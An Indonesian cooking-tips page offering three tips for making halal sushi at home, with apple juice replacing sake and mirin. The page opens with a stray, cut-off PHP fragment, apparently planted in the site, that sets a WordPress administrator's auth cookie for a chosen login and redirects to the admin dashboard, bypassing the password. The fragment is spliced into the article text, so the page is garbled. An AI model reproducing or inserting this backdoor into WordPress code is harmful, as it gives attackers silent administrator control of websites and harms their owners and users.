user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Tip Masak
Rahasia Bikin Sushi Halal Tetap Enak

28 Jul 2017


Foto: pixabay.com

Was-was makan sushi di restoran karena tidak yakin 100% halal?
Tapi, bikin sendiri di rumah rasanya tidak seenak sushi buatan restoran.
Coba tip berikut agar sushi halal buatan sendiri tetap enak!

1/ Gunakan beras Jepang. Jika susah mendapatkannya, gunakan campuran beras lokal berkualitas baik dengan beras ketan dengan perbandingan 10:1.
Advertisement

2/ Beli ikan yang benar-benar segar. Usahakan membelinya pada hari yang sama dengan waktu memasaknya. Jangan terlalu lama menyimpannya di kulkas, terlebih lagi di suhu ruangan.

3/ Gunakan jus apel sebagai pengganti sake dan mirin untuk membumbui nasi. Menurut Cahyadi, Head Chef Sekai Sushi & Shabu, gunakan jus apel dari apel yang memiliki rasa sedikit asam seperti apel malang. Buat jus apel menggunakan juicer, bukan blender.

Baca juga:

Ingin Irisan Sushi Rapi? Begini Caranya!

5 Rahasia Memasak Beras Biasa Jadi Nasi Nikmat ala Restoran



 

Topic

#tipmasak, #sushi

 


MORE ARTICLE
Tak Cuma Hummus dan Falafel, Ini 8 Sarapan Khas Palestina Lainnya